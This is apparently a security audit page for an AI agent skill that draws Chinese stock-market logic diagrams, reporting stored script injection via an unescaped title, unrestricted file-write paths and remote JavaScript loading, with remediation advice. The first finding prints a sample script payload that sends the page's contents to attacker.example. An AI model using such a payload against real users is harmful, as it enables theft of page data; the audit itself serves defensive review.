Back to skill

Security audit

A股逻辑可视化工具

Security checks for vulnerabilities and agentic risk

Overview

The skill is mostly a finance diagram helper, but its renderer can write to arbitrary paths and generated HTML loads remote JavaScript, so users should review it before installing.

Install only if you are comfortable with a diagram skill that can generate local HTML files. Use trusted titles and filenames, keep outputs in a dedicated artifact directory, avoid opening generated files containing untrusted input, and be aware that Draw.io HTML output contacts diagrams.net to load viewer JavaScript.

Vulnerability Patterns
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/visualizer.py:430
Finding

Stored HTML and JavaScript Injection Through an Unescaped Diagram Title

Content
View full analysis
{title} body {{ font-family: sans-serif; padding: 20px; }} .mxgraph {{ border: 1px solid #ddd; background: #fff; }}

{title}

""" ``` ### Technical Analysis The `title` argument is interpolated directly into both the HTML `` element and the document body without HTML escaping. Although the Draw.io JSON data is escaped with `html.escape`, the same protection is not applied to the title. An attacker-controlled title can close the existing element and inject active HTML. For example: ```html </h2><script>fetch('https://attacker.example/collect?data=' + encodeURIComponent(document.documentElement.innerHTML))</script><h2> ``` The resulting payload is stored in the generated HTML artifact and executes when the artifact is opened in a JavaScript-enabled browser. Escaping the XML configuration does not prevent this attack because the vulnerable title is inserted into separate HTML contexts. ### Attack Path 1. An attacker supplies or influences the title of a requested diagram. 2. The title contains closing HTML tags followed by a script or another active HTML payload. 3. The Skill calls `VisualizerTools.render_drawio_to_html()` with that title. 4. The method inserts the title into the generated document without escaping. 5. The generated HTML file is returned or shared as a diagram artifact. 6. A victim opens the artifact in a browser. ...[truncated 732 chars]
Remediation
View remediation
{safe_title}

{safe_title}

``` 2. Prefer a template engine configured with automatic HTML escaping rather than manually constructing HTML with f-strings. 3. Add a restrictive Content Security Policy. If the viewer is bundled locally, a policy can avoid allowing arbitrary inline scripts: ```html ``` 4. Add tests covering closing tags, script elements, event-handler attributes, encoded markup, quotes, and special characters. 5. Treat all user-provided labels, titles, and metadata as untrusted even when the primary diagram data is separately encoded. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/visualizer.py:449
Finding

Unrestricted Output Paths Permit Arbitrary File Creation and Overwrite

Content
View full analysis
str: """渲染并保存 HTML""" try: # 确保目录存在 os.makedirs(os.path.dirname(filename), exist_ok=True) chart.render(filename) logger.info(f"✅ Chart rendered to {filename}") return filename ``` ### Technical Analysis Both rendering methods trust the supplied `filename` without validating or constraining it. They accept absolute paths and paths containing traversal components such as `../`. The code also creates parent directories and, in `render_drawio_to_html`, opens the destination in `w` mode, which truncates an existing file. No dedicated artifact directory, canonical-path containment check, permitted-extension check, symlink defense, or non-overwriting creation mode is implemented. The second method passes the same unvalidated path to `chart.render()`. The ability to write a particular destination remains limited by the operating-system permissions of the process, but no application-level boundary reduces that authority. ### Attack Path 1. An attacker influences the output filename passed to a rendering method. 2. The attacker supplies an absolute path or a traversal path, such as `../../target/file.html`. 3. `os.makedirs()` creates missing parent directories where permissions allow. 4. The renderer writes to the resolved location rather than a controlled artifact directory. 5. If the destination exis ...[truncated 763 chars]
Remediation
View remediation
Path: supplied = Path(filename) if supplied.is_absolute(): raise ValueError("Absolute output paths are not allowed") target = (OUTPUT_ROOT / supplied).resolve() if OUTPUT_ROOT != target and OUTPUT_ROOT not in target.parents: raise ValueError("Output path escapes the artifact directory") if target.suffix.lower() != ".html": raise ValueError("Only .html artifacts are allowed") return target ``` 2. Use the validated path in both rendering methods and create directories only after containment validation. 3. Use exclusive creation mode (`x`) where overwriting is unnecessary. If overwrite support is required, expose it as an explicit trusted option rather than making it the default. 4. Reject or safely handle symbolic links. On supported platforms, use descriptor-based writes and flags such as `O_NOFOLLOW`. 5. Generate server-side filenames using random identifiers and treat a user-provided name only as display metadata. 6. Run the Skill under a minimally privileged account with write access limited to the artifact directory. 7. Add tests for absolute paths, `..` traversal, symlink destinations, unexpected extensions, existing files, and empty parent-directory components. ]]>

T03 · Remote Payload Retrieval and Execution

Warning
Location
scripts/visualizer.py:445
Finding

Generated Artifacts Retrieve and Execute Mutable Remote JavaScript

Content
View full analysis
``` ### Technical Analysis Every generated Draw.io HTML artifact loads JavaScript from an external URL when opened. The URL does not identify an immutable version, and the document does not specify a Subresource Integrity hash. Consequently, the code that executes can change after the Skill package has been audited. This creates a remote execution channel in the browser: control of the upstream resource, its hosting infrastructure, or a relevant network trust boundary could alter the payload executed by previously generated artifacts. HTTPS protects transport against ordinary interception but does not protect against upstream compromise or authorized replacement of the hosted resource. Opening the artifact also causes an undisclosed outbound request to `viewer.diagrams.net`, revealing metadata such as the user's IP address and request timing. ### Attack Path 1. The Skill generates an HTML diagram containing the external script reference. 2. The upstream script is changed or compromised after the Skill audit. 3. A user opens the generated artifact while connected to a network. 4. The browser retrieves the current remote script. 5. The browser executes that script in the generated document's context. 6. The altered script can access document content and perform browser-permitted network or interface actions. ### Impact Assessment A compromised remote dependency could manipulate the diagram, access content embedded in the generated document, initiate external requests, or display deceptive content. The affected scope includes every artifact that references the remote URL and is opened while the resource remains reachable. This behavior does not directly grant ...[truncated 217 chars]
Remediation
View remediation
``` 4. Add a Content Security Policy restricting scripts to the exact approved origin or, preferably, to bundled local resources. 5. Clearly disclose any required network request and provide an offline rendering mode. 6. Add tests confirming that generated artifacts do not contain unapproved external script sources. ]]>
Vulnerability Patterns
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Findings (6)

Tp4

High
Category
MCP Tool Poisoning
Confidence
92% confidence
Finding

A description-behavior mismatch is a security-relevant trust violation: the skill is presented as a narrow finance-logic diagram generator, while the detected behavior suggests broader charting and rendering capabilities. This can bypass user and reviewer expectations, expand reachable code paths, and expose additional attack surface such as handling arbitrary financial datasets, forecast overlays, or other generated artifacts not covered by the declared purpose.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
90% confidence
Finding

The skill explicitly instructs rendering an HTML artifact to a filename via a file-writing capability, but the manifest declares no tool scope or permissions boundaries. That creates an authorization gap where the runtime may grant broader write behavior than reviewers or policy expect, increasing the risk of unintended file creation or overwrite if downstream inputs influence paths or output handling.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The trigger language is broad enough to capture many ordinary requests involving visualization, drawing, mapping, or explanation, which can cause the skill to activate outside its narrow intended use. Over-broad routing is dangerous because it may invoke file-writing/rendering behavior in contexts where users did not request artifact generation, increasing the chance of misuse, confusion, or unsafe tool access.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The manifest describes a skill focused on turning finance or investment logic into visual diagrams such as transmission chains, thesis maps, causal loops, risk/benefit paths, and Draw.io-compatible artifacts. In contrast, this file implements multiple quantitative charting features for stock K-lines, forecast overlays, loss curves, sentiment trends, and ISQ radar charts, which are broader analytics visualizations rather than logic-diagram generation.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Low
Category
Not specified by scanner
Confidence
89% confidence
Finding

The HTML renderer embeds untrusted XML-derived content into a generated HTML page and loads a third-party remote script from diagrams.net at render time. Even though JSON and HTML escaping reduce direct injection risk in this template, the design still creates a supply-chain and privacy boundary issue: opening the file causes execution of externally hosted JavaScript, which can change over time and may process sensitive diagram content.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
87% confidence
Finding

The system and task prompts are entirely prescriptive in English and require specific output conventions without offering any user language or locale choice. This can violate language/locale policy when a skill should not force a specific language unless documented or user-selected.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.